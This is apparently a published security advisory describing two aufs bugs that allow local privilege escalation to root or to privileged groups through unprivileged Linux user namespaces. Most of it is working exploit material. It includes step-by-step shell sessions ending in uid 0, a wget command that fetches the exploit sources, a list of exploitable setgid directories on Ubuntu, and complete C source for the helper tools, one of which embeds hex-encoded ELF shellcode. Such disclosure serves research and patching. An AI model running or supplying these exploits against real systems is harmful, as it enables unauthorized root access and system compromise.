Source: http://www.halfdog.net/Security/2016/AufsPrivilegeEscalationInUserNamespaces/ ## Introduction Problem description: Aufs is a union filesystem to mix content of different underlying filesystems, e.g. read-only medium with r/w RAM-fs. That is also allowed in user namespaces when module was loaded with allow_userns option. Due to different bugs, aufs in a crafted USERNS allows privilege escalation, which is a problem on systems enabling unprivileged USERNS by default, e.g. Ubuntu Wily. All the issues mentioned here were discovered after performing similar analysis on overlayfs, another USERNS enabled union filesystem. For a system to be exposed, unprivileged USERNS has to be available and AUFS support enabled for it by loading the aufs module with the appropriate option: modprobe aufs allow_userns. ## AUFS Over Fuse: Loss of Nosuid Method: Fuse filesystem can be mounted by unprivileged users with the help of the fusermount SUID program. Fuse then can simulate files of any type, mode, UID but they are only visible to the user mounting the filesystem and lose all SUID properties. Those files can be exposed using aufs including the problematic SUID properties. The basic exploitation sequence is: - Mount fuse filesystem exposing crafted SUID binary - Create USERNS - Mount aufs on top of fuse - Execute the SUID binary via aufs from outside the namespace The issue can then be demonstrated using: SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c) FuseMinimal (http://www.halfdog.net/Security/2016/AufsPrivilegeEscalationInUserNamespaces/FuseMinimal.c) UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c) test$ mkdir fuse mnt work test$ mv SuidExec RealFile test$ ./FuseMinimal fuse test$ ./UserNamespaceExec -- /bin/bash root$ mount -t aufs -o br=work:fuse none mnt root$ cd mnt # Now cwd of the former process is within the aufs mount. Use # another shell to complete. test$ /proc/2390/cwd/file /bin/bash root$ id uid=0(root) gid=100(users) groups=100(users) # Go back to old shell for cleanup. root$ cd ..; umount mnt; exit test$ fusermount -u fuse Discussion: In my opinion, fuse filesystem allowed pretending to have files with different UIDs/GIDs in the local mount namespace, but they never had those properties, those files would have, when really stored on local disk. So e.g., the SUID binaries lost their SUID-properties and the owner could also modify arbitrary file content, even if file attributes were pretending, that he does not have access - by having control over the fuse process simulating the filesystem, such access control is futile. That is also the reason, why no other user than the one mounting the filesystem may have rights to access it by default. In my optionion the workarounds should be to restrict access to fuse also only to the mount namespace where it was created. ## AUFS Xattr Setgid Privilege Escalation Method: Due to inheritance of Posix ACL information (xattrs) when aufs is copying files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/). Suitable target directories can be easily found using find / -perm -02020 2> /dev/null. On standard Ubuntu system those are: /usr/local/lib/python3.4 (root.staff) /var/lib/libuuid (libuuid.libuuid) /var/local (root.staff) /var/mail (root.mail) Exploitation can be done just combining standard tools with the SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/) exploit. test$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c http://www.halfdog.net/Misc/Utils/SuidExec.c test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c test$ gcc -o UserNamespaceExec UserNamespaceExec.c test$ gcc -o SuidExec SuidExec.c test$ mkdir mnt test test$ setfacl -m "d:u:$(id -u):rwx" test test$ ./UserNamespaceExec -- /bin/bash root$ mount -t aufs -o br=test:/var none mnt root$ chmod 07777 mnt/mail root$ umount mnt; exit test$ ./CreateSetgidBinary test/mail/escalate /bin/mount x nonexistent-arg test$ test/mail/escalate ./SuidExec /usr/bin/id uid=1000(test) gid=8(mail) groups=8(mail),100(users) On Ubuntu, exploitation allows interference with mail spool and allows to gain privileges of other python processes using python dist-packages owned by user root.staff. If root user calls a python process in that way, e.g. via apport crash dump tool, local root escalation is completed. According to this post (http://www.openwall.com/lists/oss-security/2016/01/16/7), directories or binaries owned by group staff are in the default PATH of the root user, hence local root escalation is trivial. --- SuidExec.c --- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2015 halfdog * See http://www.halfdog.net/Misc/Utils/ for more information. * * This tool changes to uid/gid 0 and executes the program supplied * via arguments. */ #define _GNU_SOURCE #include #include extern char **environ; int main(int argc, char **argv) { if(argc<2) { fprintf(stderr, "Usage: %s [execargs]\n", argv[0]); return(1); } int rUid, eUid, sUid, rGid, eGid, sGid; getresuid(&rUid, &eUid, &sUid); getresgid(&rGid, &eGid, &sGid); if(setresuid(sUid, sUid, rUid)) { fprintf(stderr, "Failed to set uids\n"); return(1); } if(setresgid(sGid, sGid, rGid)) { fprintf(stderr, "Failed to set gids\n"); return(1); } execve(argv[1], argv+1, environ); return(1); } --- EOF --- --- FuseMinimal.c --- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2016 halfdog * See http://www.halfdog.net/Misc/Utils/ for more information. * * Minimal userspace file system demo, compile using * gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse * * See also /usr/include/fuse/fuse.h */ #define FUSE_USE_VERSION 28 #include #include #include #include #include #include static FILE *logFile; static char *fileNameNormal="/file"; static char *fileNameCharDev="/chardev"; static char *fileNameNormalSubFile="/dir/file"; static char *realFileName="./RealFile"; static int realFileHandle=-1; static int io_getattr(const char *path, struct stat *stbuf) { fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n", path, stbuf); fflush(logFile); int res=-ENOENT; memset(stbuf, 0, sizeof(struct stat)); if(strcmp(path, "/") == 0) { stbuf->st_mode=S_IFDIR|0755; stbuf->st_nlink=2; res=0; } else if(strcmp(path, fileNameCharDev)==0) { // stbuf->st_dev=makedev(5, 2); stbuf->st_mode=S_IFCHR|0777; stbuf->st_rdev=makedev(5, 2); stbuf->st_nlink=1; // Number of hard links stbuf->st_size=100; res=0; } else if(strcmp(path, "/dir")==0) { stbuf->st_mode=S_IFDIR|S_ISGID|0777; stbuf->st_nlink=1; // Number of hard links stbuf->st_size=1<<12; res=0; } else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) { stbuf->st_mode=S_ISUID|S_IFREG|0777; stbuf->st_size=100; if(realFileName) { if(fstat(realFileHandle, stbuf)) { fprintf(logFile, "Stat of %s failed, error %d (%s)\n", realFileName, errno, strerror(errno)); } else { // Just change uid/suid, which is far more interesting during testing stbuf->st_mode|=S_ISUID; stbuf->st_uid=0; stbuf->st_gid=0; } } else { stbuf->st_mode=S_ISUID|S_IFREG|0777; stbuf->st_size=100; } stbuf->st_nlink=1; // Number of hard links res=0; } return(res); } static int io_readlink(const char *path, char *buffer, size_t length) { fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n", path, buffer, (long)length); fflush(logFile); return(-1); } static int io_unlink(const char *path) { fprintf(logFile, "io_unlink(path=\"%s\")\n", path); fflush(logFile); return(0); } static int io_rename(const char *oldPath, const char *newPath) { fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n", oldPath, newPath); fflush(logFile); return(0); } static int io_chmod(const char *path, mode_t mode) { fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode); fflush(logFile); return(0); } static int io_chown(const char *path, uid_t uid, gid_t gid) { fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid); fflush(logFile); return(0); } /** Open a file. This function checks access permissions and may * associate a file info structure for future access. * @returns 0 when open OK */ static int io_open(const char *path, struct fuse_file_info *fi) { fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi); fflush(logFile); return(0); } static int io_read(const char *path, char *buffer, size_t length, off_t offset, struct fuse_file_info *fi) { fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n", path, buffer, (long)length, (long)offset, fi); fflush(logFile); if(length<0) return(-1); if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) { if(!realFileName) { if((offset<0)||(offset>4)) return(-1); if(offset+length>4) length=4-offset; if(length>0) memcpy(buffer, "xxxx", length); return(length); } if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) { fprintf(stderr, "read: seek on %s failed\n", path); return(-1); } return(read(realFileHandle, buffer, length)); } return(-1); } static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n", path, buf, filler, ((long)offset), fi); fflush(logFile); (void) offset; (void) fi; if(!strcmp(path, "/")) { filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0); filler(buf, fileNameCharDev+1, NULL, 0); filler(buf, "dir", NULL, 0); filler(buf, fileNameNormal+1, NULL, 0); return(0); } else if(!strcmp(path, "/dir")) { filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0); filler(buf, "file", NULL, 0); return(0); } return -ENOENT; } static int io_access(const char *path, int mode) { fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n", path, mode); fflush(logFile); return(0); } static int io_ioctl(const char *path, int cmd, void *arg, struct fuse_file_info *fi, unsigned int flags, void *data) { fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n", path, cmd, arg, fi, flags, data); fflush(logFile); return(0); } static struct fuse_operations hello_oper = { .getattr = io_getattr, .readlink = io_readlink, // .getdir = deprecated // .mknod // .mkdir .unlink = io_unlink, // .rmdir // .symlink .rename = io_rename, // .link .chmod = io_chmod, .chown = io_chown, // .truncate // .utime .open = io_open, .read = io_read, // .write // .statfs // .flush // .release // .fsync // .setxattr // .getxattr // .listxattr // .removexattr // .opendir .readdir = io_readdir, // .releasedir // .fsyncdir // .init // .destroy .access = io_access, // .create // .ftruncate // .fgetattr // .lock // .utimens // .bmap .ioctl = io_ioctl, // .poll }; int main(int argc, char *argv[]) { char buffer[128]; realFileHandle=open(realFileName, O_RDWR); if(realFileHandle<0) { fprintf(stderr, "Failed to open %s\n", realFileName); exit(1); } snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid()); logFile=fopen(buffer, "a"); if(!logFile) { fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno)); return(1); } fprintf(logFile, "Starting fuse init\n"); fflush(logFile); return fuse_main(argc, argv, &hello_oper, NULL); } --- EOF --- --- UserNamespaceExec.c --- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2015-2016 halfdog * See http://www.halfdog.net/Misc/Utils/ for more information. * * This tool creates a new namespace, initialize the uid/gid * map and execute the program given as argument. This is similar * to unshare(1) from newer util-linux packages. * * gcc -o UserNamespaceExec UserNamespaceExec.c * * Usage: UserNamespaceExec [options] -- [program] [args] * * * --NoSetGroups: do not disable group chanages * * --NoSetGidMap: * * --NoSetUidMap: */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include extern char **environ; static int childFunc(void *arg) { int parentPid=getppid(); fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid()); while((geteuid()!=0)&&(parentPid==getppid())) { sleep(1); } fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid()); int result=execve(((char**)arg)[0], (char**)arg, environ); fprintf(stderr, "Exec failed\n"); return(1); } #define STACK_SIZE (1024 * 1024) static char child_stack[STACK_SIZE]; int main(int argc, char *argv[]) { int argPos; int noSetGroupsFlag=0; int setGidMapFlag=1; int setUidMapFlag=1; int result; for(argPos=1; argPos * License: https://www.gnu.org/licenses/lgpl-3.0.en.html * * See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information. */ #include #include #include #include #include #include #include int main(int argc, char **argv) { // No slashes allowed, everything else is OK. char suidExecMinimalElf[] = { 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00, 0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00, 0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08, 0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8, 0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0, 0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80 }; int destFd=open(argv[1], O_RDWR|O_CREAT, 07777); if(destFd<0) { fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno)); return(1); } char *suidWriteNext=suidExecMinimalElf; char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf); while(suidWriteNext!=suidWriteEnd) { char *suidWriteTestPos=suidWriteNext; while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd)) suidWriteTestPos++; // We cannot write any 0-bytes. So let seek fill up the file wihh // null-bytes for us. lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET); suidWriteNext=suidWriteTestPos; while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd)) suidWriteTestPos++; int result=fork(); if(!result) { struct rlimit limits; // We can't truncate, that would remove the setgid property of // the file. So make sure the SUID binary does not write too much. limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf; limits.rlim_max=limits.rlim_cur; setrlimit(RLIMIT_FSIZE, &limits); // Do not rely on some SUID binary to print out the unmodified // program name, some OSes might have hardening against that. // Let the ld-loader will do that for us. limits.rlim_cur=1<<22; limits.rlim_max=limits.rlim_cur; result=setrlimit(RLIMIT_AS, &limits); dup2(destFd, 1); dup2(destFd, 2); argv[3]=suidWriteNext; execve(argv[2], argv+3, NULL); fprintf(stderr, "Exec failed\n"); return(1); } waitpid(result, NULL, 0); suidWriteNext=suidWriteTestPos; // ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf); } fprintf(stderr, "Completed\n"); return(0); } --- EOF ---